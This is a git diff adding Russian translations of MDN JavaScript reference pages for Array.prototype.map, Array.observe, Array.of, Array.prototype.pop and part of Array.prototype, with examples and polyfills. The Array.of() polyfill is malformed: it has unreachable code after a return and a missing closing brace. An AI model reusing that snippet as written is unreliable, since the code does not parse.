+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code><var>callback</var></code></dt>
+ <dd>
+ <p>Функция, вызываемая для каждого элемента массива <code><var>arr</var></code>. Каждый раз, когда <code><var>callback</var></code> выполняется, возвращаемое значение добавляется в <code><var>new_array</var></code>.</p>
+
+ <p>Функция <code><var>callback</var></code>, создающая элемент в новом массиве, принимает три аргумента:</p>
+
+ <dl>
+  <dt><code>currentValue</code></dt>
+  <dd>Текущий обрабатываемый элемент массива.</dd>
+  <dt><code>index</code>{{optional_inline}}</dt>
+  <dd>Индекс текущего обрабатываемого элемента в массиве.</dd>
+  <dt><code>array</code>{{optional_inline}}</dt>
+  <dd>Массив, по которому осуществляется проход.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code>{{optional_inline}}</dt>
+ <dd>Необязательный параметр. Значение, используемое в качестве <code>this</code> при вызове функции <code><var>callback</var></code></dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новый массив, где каждый элемент является результатом <code>callback</code> функции.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>map</code> вызывает переданную функцию <code>callback</code> один раз для каждого элемента, в порядке их появления и конструирует новый массив из результатов её вызова. Функция <code>callback</code> вызывается только для индексов массива, имеющих присвоенные значения, включая {{jsxref("Global_Objects/undefined", "undefined")}}. Она не вызывается для пропущенных элементов массива (то есть для индексов, которые никогда не были заданы, которые были удалены или которым никогда не было присвоено значение.</p>
+
+<p>Функция <code>callback</code> вызывается с тремя аргументами: значением элемента, индексом элемента и массивом, по которому осуществляется проход.</p>
+
+<p>Если в метод <code>map</code> был передан параметр <code>thisArg</code>, при вызове <code>callback</code> он будет использоваться в качестве значения <code>this</code>. В противном случае в качестве значения <code>this</code> будет использоваться значение {{jsxref("Global_Objects/undefined", "undefined")}}. В конечном итоге, значение <code>this</code>, наблюдаемое из функции <code>callback</code>, определяется согласно <a href="/ru/docs/Web/JavaScript/Reference/Operators/this">обычным правилам определения <code>this</code>, видимого из функции</a>.</p>
+
+<p>Метод <code>map</code> не изменяет массив, для которого он был вызван (хотя функция <code>callback</code> может это делать).</p>
+
+<p>Диапазон элементов, обрабатываемых методом <code>map</code>, устанавливается до первого вызова функции <code>callback</code>. Элементы, добавленные в массив после начала выполнения метода <code>map</code>, не будут посещены функцией <code>callback</code>. Если существующие элементы массива изменяются функцией <code>callback</code>, их значения, переданные в функцию, будут значениями на тот момент времени, когда метод <code>map</code> посетит их; удалённые элементы посещены не будут.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Mapping_an_array_of_numbers_to_an_array_of_square_roots" name="Example:_Mapping_an_array_of_numbers_to_an_array_of_square_roots">Пример: отображение массива чисел на массив квадратных корней</h3>
+
+<p>Следующий код берёт массив чисел и создаёт новый массив, содержащий квадратные корни чисел из первого массива.</p>
+
+<pre class="brush: js notranslate">var numbers = [1, 4, 9];
+var roots = numbers.map(Math.sqrt);
+// теперь roots равен [1, 2, 3], а numbers всё ещё равен [1, 4, 9]
+</pre>
+
+<h3 id="Example_Mapping_an_array_of_numbers_using_a_function_containing_an_argument" name="Example:_Mapping_an_array_of_numbers_using_a_function_containing_an_argument">Пример: отображение массива чисел с использованием функции, содержащей аргумент</h3>
+
+<p>Следующий код показывает, как работает отображение, когда функция требует один аргумент. Аргумент будет автоматически присваиваться каждому элементу массива, когда <code>map</code> проходит по оригинальному массиву.</p>
+
+<pre class="brush: js notranslate">var numbers = [1, 4, 9];
+var doubles = numbers.map(function(num) {
+  return num * 2;
+});
+// теперь doubles равен [2, 8, 18], а numbers всё ещё равен [1, 4, 9]
+</pre>
+
+<h3 id="Example_using_map_generically" name="Example:_using_map_generically">Пример: обобщённое использование <code>map</code></h3>
+
+<p>Этот пример показывает, как использовать <code>map</code> на объекте строки {{jsxref("Global_Objects/String", "String")}} для получения массива байт в кодировке ASCII, представляющего значения символов:</p>
+
+<pre class="brush: js notranslate">var map = Array.prototype.map;
+var a = map.call('Hello World', function(x) { return x.charCodeAt(0); });
+// теперь a равен [72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100]
+</pre>
+
+<h3 id="Example_using_map_generically_querySelectorAll" name="Example:_using_map_generically_querySelectorAll">Пример: обобщённое использование <code>map</code> вместе с <code>querySelectorAll</code></h3>
+
+<p>Этот пример показывает, как пройтись по коллекции объектов, собранных с помощью <code>querySelectorAll</code>. В данном случае мы получаем все выбранные опции на экране и печатаем их в консоль:</p>
+
+<pre class="brush: js notranslate">var elems = document.querySelectorAll('select option:checked');
+var values = [].map.call(elems, function(obj) {
+  return obj.value;
+});
+</pre>
+
+<p>Более простым способом будет использование метода {{jsxref("Array.from()")}}.</p>
+
+<h3 id="Example_Using_map_to_reverse_a_string" name="Example:_Using_map_to_reverse_a_string">Пример: использование <code>map</code> для переворачивания строки</h3>
+
+<pre class="brush: js notranslate">var str = '12345';
+[].map.call(str, function(x) {
+  return x;
+}).reverse().join('');
+
+// Вывод: '54321'
+// Бонус: используйте '===' для проверки того, является ли строка палиндромом
+</pre>
+
+<p>Более простым способом будет использование метода {{jsxref("String.split()")}} (см. пример <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/String/split#Example:_Reversing_a_String_using_split">обращение строки при помощи метода split()</a>).</p>
+
+<h3 id="Example_Tricky_use_case" name="Example:_Tricky_use_case">Пример: хитрый вариант использования</h3>
+
+<p><a href="http://www.wirfs-brock.com/allen/posts/166">(навеяно этой записью в блоге)</a></p>
+
+<p>Распространённой практикой является использование функции обратного вызова с одним аргументом (элемент, над которым производится операция). Некоторые функции также широко используется с одним аргументом, хотя они принимают дополнительные необязательные аргументы. Эти привычки могут привести к неожиданному поведению программы.</p>
+
+<pre class="brush: js notranslate">// Рассмотрим пример:
+['1', '2', '3'].map(parseInt);
+// Хотя ожидаемый результат вызова равен [1, 2, 3],
+// в действительности получаем [1, NaN, NaN]
+
+// Функция parseInt часто используется с одним аргументом, но она принимает два.
+// Первый аргумент является выражением, а второй - основанием системы счисления.
+// В функцию callback Array.prototype.map передаёт 3 аргумента:
+// элемент, его индекс и сам массив.
+// Третий аргумент игнорируется parseInt, но не второй, следовательно,
+// возможна путаница. Смотрите запись в блоге для дополнительной информации.
+
+function returnInt(element) {
+  return parseInt(element, 10);
+}
+
+['1', '2', '3'].map(returnInt);
+// Результатом является массив чисел (как и ожидалось)
+
+// Простейший способ добиться вышеозначенного поведения и избежать чувства "чё за!?":
+['1', '2', '3'].map(Number); // [1, 2, 3]
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Метод <code>map</code> был добавлен к стандарту ECMA-262 в 5-м издании; поэтому он может отсутствовать в других реализациях стандарта. Вы можете работать с ним, добавив следующий код в начало ваших скриптов, он позволяет использовать <code>map</code> в реализациях, которые не поддерживают этот метод. Этот алгоритм является точно тем, что описан в ECMA-262 5-го издания; он предполагает, что {{jsxref("Global_Objects/Object", "Object")}}, {{jsxref("Global_Objects/TypeError", "TypeError")}} и {{jsxref("Global_Objects/Array", "Array")}} имеют свои первоначальные значения и что <code>callback.call</code> вычисляется в оригинальное значение {{jsxref("Function.prototype.call")}}.</p>
+
+<pre class="brush: js notranslate">// Шаги алгоритма ECMA-262, 5-е издание, 15.4.4.19
+// Ссылка (en): http://es5.github.com/#x15.4.4.19
+// Ссылка (ru): http://es5.javascript.ru/x15.4.html#x15.4.4.19
+if (!Array.prototype.map) {
+
+  Array.prototype.map = function(callback, thisArg) {
+
+    var T, A, k;
+
+    if (this == null) {
+      throw new TypeError(' this is null or not defined');
+    }
+
+    // 1. Положим O равным результату вызова ToObject с передачей ему
+    //    значения |this| в качестве аргумента.
+    var O = Object(this);
+
+    // 2. Положим lenValue равным результату вызова внутреннего метода Get
+    //    объекта O с аргументом "length".
+    // 3. Положим len равным ToUint32(lenValue).
+    var len = O.length &gt;&gt;&gt; 0;
+
+    // 4. Если вызов IsCallable(callback) равен false, выкидываем исключение TypeError.
+    // Смотрите (en): http://es5.github.com/#x9.11
+    // Смотрите (ru): http://es5.javascript.ru/x9.html#x9.11
+    if (typeof callback !== 'function') {
+      throw new TypeError(callback + ' is not a function');
+    }
+
+    // 5. Если thisArg присутствует, положим T равным thisArg; иначе положим T равным undefined.
+    if (arguments.length &gt; 1) {
+      T = thisArg;
+    }
+
+    // 6. Положим A равным новому масиву, как если бы он был создан выражением new Array(len),
+    //    где Array является стандартным встроенным конструктором с этим именем,
+    //    а len является значением len.
+    A = new Array(len);
+
+    // 7. Положим k равным 0
+    k = 0;
+
+    // 8. Пока k &lt; len, будем повторять
+    while (k &lt; len) {
+
+      var kValue, mappedValue;
+
+      // a. Положим Pk равным ToString(k).
+      //   Это неявное преобразование для левостороннего операнда в операторе in
+      // b. Положим kPresent равным результату вызова внутреннего метода HasProperty
+      //    объекта O с аргументом Pk.
+      //   Этот шаг может быть объединён с шагом c
+      // c. Если kPresent равен true, то
+      if (k in O) {
+
+        // i. Положим kValue равным результату вызова внутреннего метода Get
+        //    объекта O с аргументом Pk.
+        kValue = O[k];
+
+        // ii. Положим mappedValue равным результату вызова внутреннего метода Call
+        //     функции callback со значением T в качестве значения this и списком
+        //     аргументов, содержащим kValue, k и O.
+        mappedValue = callback.call(T, kValue, k, O);
+
+        // iii. Вызовем внутренний метод DefineOwnProperty объекта A с аргументами
+        // Pk, Описатель Свойства
+        // { Value: mappedValue,
+        //   Writable: true,
+        //   Enumerable: true,
+        //   Configurable: true }
+        // и false.
+
+        // В браузерах, поддерживающих Object.defineProperty, используем следующий код:
+        // Object.defineProperty(A, k, {
+        //   value: mappedValue,
+        //   writable: true,
+        //   enumerable: true,
+        //   configurable: true
+        // });
+
+        // Для лучшей поддержки браузерами, используем следующий код:
+        A[k] = mappedValue;
+      }
+      // d. Увеличим k на 1.
+      k++;
+    }
+
+    // 9. Вернём A.
+    return A;
+  };
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.19', 'Array.prototype.map')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.map', 'Array.prototype.map')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправите нам pull request.</div>
+
+<p>{{Compat("javascript.builtins.Array.map")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>объект {{jsxref("Map")}}</li>
+ <li>{{jsxref("Array.from()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/observe/index.html b/files/ru/web/javascript/reference/global_objects/array/observe/index.html
new file mode 100644
index 0000000000..f8d7d9cd07
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/observe/index.html
@@ -0,0 +1,138 @@
+---
+title: Array.observe()
+slug: Web/JavaScript/Reference/Global_Objects/Array/observe
+tags:
+  - Array
+  - ECMAScript7
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Method
+  - Reference
+  - Référence(2)
+translation_of: Archive/Web/JavaScript/Array.observe
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Array.observe()</code></strong> используется для асинхронного обзора изменений в массивах, подобно тому, как метод {{jsxref("Object.observe()")}} используется для тех же целей для объектов. Он предоставляет поток изменений в порядке их возникновения.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Array.observe(<var>arr</var>, <var>callback</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>arr</code></dt>
+ <dd>Обозреваемый массив.</dd>
+ <dt><code>callback</code></dt>
+ <dd>Функция, вызываемая на каждое сделанное изменение со следующими аргументами:
+ <dl>
+  <dt><code>changes</code></dt>
+  <dd>Массив объектов, каждый из которых представляет одно изменение. Эти объекты обладают следующими свойствами:
+  <ul>
+   <li><strong><code>name</code></strong>: название изменённого свойства.</li>
+   <li><strong><code>object</code></strong>: изменённый массив, после применения этого изменения.</li>
+   <li><strong><code>type</code></strong>: строка, указывающая тип произошедшего изменения. Может быть одной из <code>"add"</code>, <code>"update"</code>, <code>"delete"</code> или <code>"splice"</code>.</li>
+   <li><strong><code>oldValue</code></strong>: только для типов <code>"update"</code> и <code>"delete"</code>. Значение до изменения.</li>
+   <li><strong><code>index</code></strong>: только для типа <code>"splice"</code>. Индекс, по которому произошло изменение.</li>
+   <li><strong><code>removed</code></strong>: только для типа <code>"splice"</code>. Массив с удалёнными элементами.</li>
+   <li><strong><code>addedCount</code></strong>: только для типа <code>"splice"</code>. Количество добавленных элементов.</li>
+  </ul>
+  </dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Функция <code>callback</code> вызывается каждый раз, когда с массивом <code>arr</code> происходят какие-либо изменения. Параметром в неё передаётся массив со всеми произошедшими изменениями в порядке их возникновения.</p>
+
+<div class="note">
+<p>Изменения через методы объекта {{jsxref("Array")}}, например, посредством метода {{jsxref("Array.prototype.pop()")}}, будут зарегистрированы как изменения типа <code>"splice"</code>. Присваивание по индексу, в результате которого размер массива не изменится, может быть зарегистрировано, как изменение типа <code>"update"</code>.</p>
+</div>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Logging_all_three_different_types" name="Example:_Logging_all_three_different_types">Пример: журналирование всех трёх типов событий</h3>
+
+<pre class="brush: js">var arr = ['a', 'b', 'c'];
+
+Array.observe(arr, function(changes) {
+  console.log(changes);
+});
+
+arr[1] = 'B';
+// [{type: 'update', object: &lt;arr&gt;, name: '1', oldValue: 'b'}]
+
+arr[3] = 'd';
+// [{type: 'splice', object: &lt;arr&gt;, index: 3, removed: [], addedCount: 1}]
+
+arr.splice(1, 2, 'beta', 'gamma', 'delta');
+// [{type: 'splice', object: &lt;arr&gt;, index: 1, removed: ['B', 'c', 'd'], addedCount: 3}]
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<p><a href="https://github.com/arv/ecmascript-object-observe">Черновое предложение к обсуждению для ECMAScript 7</a>.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("36")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.unobserve()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Object.observe()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/of/index.html b/files/ru/web/javascript/reference/global_objects/array/of/index.html
new file mode 100644
index 0000000000..3f798e0516
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/of/index.html
@@ -0,0 +1,99 @@
+---
+title: Array.of()
+slug: Web/JavaScript/Reference/Global_Objects/Array/of
+tags:
+  - Array
+  - ECMAScript6
+  - Experimental
+  - JavaScript
+  - Method
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/of
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>Array.of()</strong></code> создаёт новый экземпляр массива <code>Array</code> из произвольного числа аргументов, вне зависимости от числа или типа аргумента.</p>
+
+<p>Разница между <code><strong>Array.of()</strong></code> и конструктором <code><strong>Array</strong></code> заключается в обработке целочисленных аргументов: <code><strong>Array.of(7)</strong></code> создаёт массив с одним элементом <code>7</code>, а <code><strong>Array(7)</strong></code> создаёт пустой массив со значением свойства <code>length</code> равным 7 (<strong>Замечание:</strong> подразумевается 7 пустых слотов, а не слоты со значением <code>undefined</code>).</p>
+
+<pre class="brush: js">Array.of(7);       // [7]
+Array.of(1, 2, 3); // [1, 2, 3]
+
+Array(7);          // массив с 7 пустыми слотами
+Array(1, 2, 3);    // [1, 2, 3]</pre>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Array.of(<var>element0</var>[, <var>element1</var>[, ...[, <var>elementN</var>]]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>element<em>N</em></code></dt>
+ <dd>Элементы, из которых создаётся массив.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новый массив {{jsxref("Array")}}.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Эта функция является частью стандарта ECMAScript 6. Для дополнительной информации смотрите <a href="https://gist.github.com/rwaldron/1074126">предложение по Array.of и Array.from</a> и <a href="https://gist.github.com/rwaldron/3186576">полифилл для Array.of</a>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: js">Array.of(1);         // [1]
+Array.of(1, 2, 3);   // [1, 2, 3]
+Array.of(undefined); // [undefined]
+</pre>
+
+<h2 id="Compatibility" name="Compatibility">Полифилл</h2>
+
+<p>Выполнение следующего кода перед любым другим кодом создаст метод <code>Array.of()</code>, если он ещё не реализован в браузере.</p>
+
+<pre class="brush: js">if (!Array.of) {
+  Array.of = function() {
+    return Array.prototype.slice.call(arguments);
+    // Or
+    let vals = []
+    for(let prop in arguments){
+        vals.push(arguments[prop])
+    }
+    return vals.slice()
+}</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.of', 'Array.of')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.of', 'Array.of')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{Compat("javascript.builtins.Array.of")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Array.from()")}}</li>
+ <li>{{jsxref("TypedArray.of()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/pop/index.html b/files/ru/web/javascript/reference/global_objects/array/pop/index.html
new file mode 100644
index 0000000000..0f6ba275f0
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/pop/index.html
@@ -0,0 +1,99 @@
+---
+title: Array.prototype.pop()
+slug: Web/JavaScript/Reference/Global_Objects/Array/pop
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/pop
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>pop()</strong></code> удаляет <strong>последний</strong> элемент из массива и возвращает его значение.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.pop()</code></pre>
+
+<h3 id="Description" name="Description">Возвращаемое значение</h3>
+
+<p>Последний элемент массива или {{jsxref("undefined")}}, если массив пуст.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>pop</code> удаляет последний элемент из массива и возвращает удалённое значение.</p>
+
+<p>Метод <code>pop</code> не является привязанным к типу; этот метод может быть {{jsxref("Function.call", "вызван", "", 1)}} или {{jsxref("Function.apply", "применён", "", 1)}} к массивоподобным объектам. Объекты, не содержащие свойство <code>length</code>, отражающее последний элемент в серии последовательных числовых, начинающихся с нуля, свойств, могут повести себя неправильным образом.</p>
+
+<p>Если вы вызовете <code>pop()</code> на пустом массиве, он вернёт значение {{jsxref("undefined")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Removing_the_last_element_of_an_array" name="Example:_Removing_the_last_element_of_an_array">Удаление последнего элемента массива</h3>
+
+<p>Следующий код создаёт массив <code>myFish</code>, содержащий четыре элемента, а затем удаляет последний элемент.</p>
+
+<pre class="brush: js">var myFish = ['ангел', 'клоун', 'мандарин', 'хирург'];
+
+console.log(myFish); // ['ангел', 'клоун', 'мандарин', 'хирург']
+
+var popped = myFish.pop();
+
+console.log(myFish); // ['ангел', 'клоун', 'мандарин']
+
+console.log(popped); // 'хирург'
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.6', 'Array.prototype.pop')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.pop', 'Array.prototype.pop')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.pop', 'Array.prototype.pop')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.pop")}}</p>
+</div>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+ <li>{{jsxref("Array.prototype.unshift()")}}</li>
+ <li>{{jsxref("Array.prototype.splice()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/prototype/index.html b/files/ru/web/javascript/reference/global_objects/array/prototype/index.html
new file mode 100644
index 0000000000..4d04fc0736
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/array/prototype/index.html
@@ -0,0 +1,171 @@
+---
+title: Array.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Array/prototype
+tags:
+  - Array
+  - JavaScript
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/prototype
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Свойство <strong><code>Array.prototype</code></strong> представляет прототип для конструктора {{jsxref("Global_Objects/Array", "Array", "массива")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Экземпляры <span class="internal"><code>Array</code></span> наследуются от <code>Array.prototype</code>. Как и с остальными конструкторами, вы можете изменять прототип конструктора объекта для применения изменений ко всем экземплярам класса <code>Array</code>.</p>
+
+<p>Небольшой факт: <code>Array.prototype</code> сам является экземпляром <code>Array</code>:</p>
+
+<pre class="brush: js">Array.isArray(Array.prototype); // true</pre>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt><code>Array.prototype.constructor</code></dt>
+ <dd>Определяет функцию, создающую прототип объекта.</dd>
+ <dt>{{jsxref("Array.prototype.length")}}</dt>
+ <dd>Отражает количество элементов в массиве.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<h3 id="Mutator_methods" name="Mutator_methods">Методы изменения</h3>
+
+<p>Эти методы изменяют массив:</p>
+
+<dl>
+ <dt>{{jsxref("Array.prototype.copyWithin()")}} {{experimental_inline}}</dt>
+ <dd>Копирует последовательность элементов массива внутри массива.</dd>
+ <dt>{{jsxref("Array.prototype.fill()")}} {{experimental_inline}}</dt>
+ <dd>Заполняет все элементы массива от начального индекса до конечного индекса указанным значением.</dd>
+ <dt>{{jsxref("Array.prototype.pop()")}}</dt>
+ <dd>Удаляет последний элемент из массива и возвращает его.</dd>
+ <dt>{{jsxref("Array.prototype.push()")}}</dt>
+ <dd>Добавляет один или более элементов в конец массива и возвращает новую длину массива.</dd>
+ <dt>{{jsxref("Array.prototype.reverse()")}}</dt>
+ <dd>Переворачивает порядок элементов в массиве — первый элемент становится последним, а последний — первым.</dd>
+ <dt>{{jsxref("Array.prototype.shift()")}}</dt>
+ <dd>Удаляет первый элемент из массива и возвращает его.</dd>
+ <dt>{{jsxref("Array.prototype.sort()")}}</dt>
+ <dd>Сортирует элементы массива на месте и возвращает отсортированный массив.</dd>
+ <dt>{{jsxref("Array.prototype.splice()")}}</dt>
+ <dd>Добавляет и/или удаляет элементы из массива.</dd>
+ <dt>{{jsxref("Array.prototype.unshift()")}}</dt>
+ <dd>Добавляет один или более элементов в начало массива и возвращает новую длину массива.</dd>
+</dl>
+
+<h3 id="Accessor_methods" name="Accessor_methods">Методы доступа</h3>
+
+<p>Эти методы не изменяют массив, а просто возвращают его в ином представлении.</p>
+
+<dl>
+ <dt>{{jsxref("Array.prototype.concat()")}}</dt>
+ <dd>Возвращает новый массив, состоящий из данного массива, соединённого с другим массивом и/или значением (списком массивов/значений).</dd>
+ <dt>{{jsxref("Array.prototype.includes()")}} {{experimental_inline}}</dt>
+ <dd>Определяет, содержится ли в массиве указанный элемент, возвращая, соответственно, <code>true</code> или <code>false</code>.</dd>
+ <dt>{{jsxref("Array.prototype.join()")}}</dt>
+ <dd>Объединяет все элементы массива в строку.</dd>
+ <dt>{{jsxref("Array.prototype.slice()")}}</dt>
+ <dd>Извлекает диапазон значений и возвращает его в виде нового массива.</dd>
+ <dt>{{jsxref("Array.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Возвращает литеральное представление указанного массива; вы можете использовать это значение для создания нового массива. Переопределяет метод {{jsxref("Object.prototype.toSource()")}}.</dd>
+ <dt>{{jsxref("Array.prototype.toString()")}}</dt>
+ <dd>Возвращает строковое представление массива и его элементов. Переопределяет метод {{jsxref("Object.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("Array.prototype.toLocaleString()")}}</dt>
+ <dd>Возвращает локализованное строковое представление массива и его элементов. Переопределяет метод {{jsxref("Object.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("Array.prototype.indexOf()")}}</dt>
+ <dd>Возвращает первый (наименьший) индекс элемента внутри массива, равный указанному значению; или -1, если значение не найдено.</dd>
+ <dt>{{jsxref("Array.prototype.lastIndexOf()")}}</dt>
+ <dd>Возвращает последний (наибольший) индекс элемента внутри массива, равный указанному значению; или -1, если значение не найдено.</dd>
+</dl>
+
+<h3 id="Iteration_methods" name="Iteration_methods">Методы обхода</h3>
+
+<p>Некоторые методы принимают в качестве аргументов функции, вызываемые при обработке массива. Когда вызываются эти методы, достаётся длина массива, и любой элемент, добавленный свыше этой длины изнутри функции обратного вызова не посещается. Другие изменения в массиве (установка значения или удаление элемента) могут повлиять на результаты операции, если изменённый элемент метод посещает после изменения. Хотя специфическое поведение этих методов в таких случаях хорошо определено, вы не должны на него полагаться, чтобы не запутывать других людей, читающих ваш код. Если вам нужно изменить массив, лучше вместо этого скопируйте его в новый массив.</p>
+
+<dl>
+ <dt>{{jsxref("Array.prototype.forEach()")}}</dt>
+ <dd>Вызывает функцию для каждого элемента в массиве.</dd>
+ <dt>{{jsxref("Array.prototype.entries()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает новый объект итератора массива <code>Array Iterator</code>, содержащий пары ключ / значение для каждого индекса в массиве.</dd>
+ <dt>{{jsxref("Array.prototype.every()")}}</dt>
